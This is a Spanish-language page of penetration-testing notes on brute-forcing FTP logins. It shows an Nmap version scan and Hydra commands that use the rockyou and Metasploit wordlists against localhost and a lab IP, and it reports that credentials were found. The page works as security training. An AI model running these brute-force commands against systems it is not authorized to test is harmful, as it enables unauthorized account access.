> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/ports-and-services/ftp-21/ftp-brute-force-attack.md).

# FTP - Ataque de fuerza bruta

Notas de pruebas de fuerza bruta FTP con Hydra, enumeración de servicios con Nmap, validación de credenciales, comprobaciones de acceso anónimo y auditoría autorizada de contraseñas.

1. Ejecuta el siguiente comando con [Nmap](/es/reconnaissance/nmap.md) para comprobar la versión de FTP y buscar vulnerabilidades conocidas:

```bash
nmap -sCV -p21 127.0.0.1
```

2. La versión instalada es **7.93** y no se detectan vulnerabilidades conocidas.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9bc228815ba8bc659e9288ef0e7963a8db9663b7%2FPasted%20image%2020230808192334.png?alt=media" alt=""><figcaption></figcaption></figure>

3. Ejecuta un ataque de fuerza bruta con **Hydra**. Minúscula `-l`  o  `-p` significa que el nombre de usuario o la contraseña están fijados; mayúscula `-L`  o  `-P` significa que Hydra lee los valores desde un archivo.

```bash
hydra -l jordan -P /usr/share/wordlists/rockyou.txt ftp://127.0.0.1 -t 15
```

4. Se encuentran credenciales válidas.

<div data-full-width="false"><figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-743ba1cfa6a077f2fa5583b4530373e3a96ef1b1%2FPasted%20image%2020230808193422.png?alt=media" alt=""><figcaption></figcaption></figure></div>

**Fuerza bruta FTP con listas de palabras comunes de usuarios y contraseñas**

{% code overflow="wrap" %}

```bash
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-frameword/data/wordlists/unix_passwords.txt 10.10.10.10. -t 4 ftp
```

{% endcode %}


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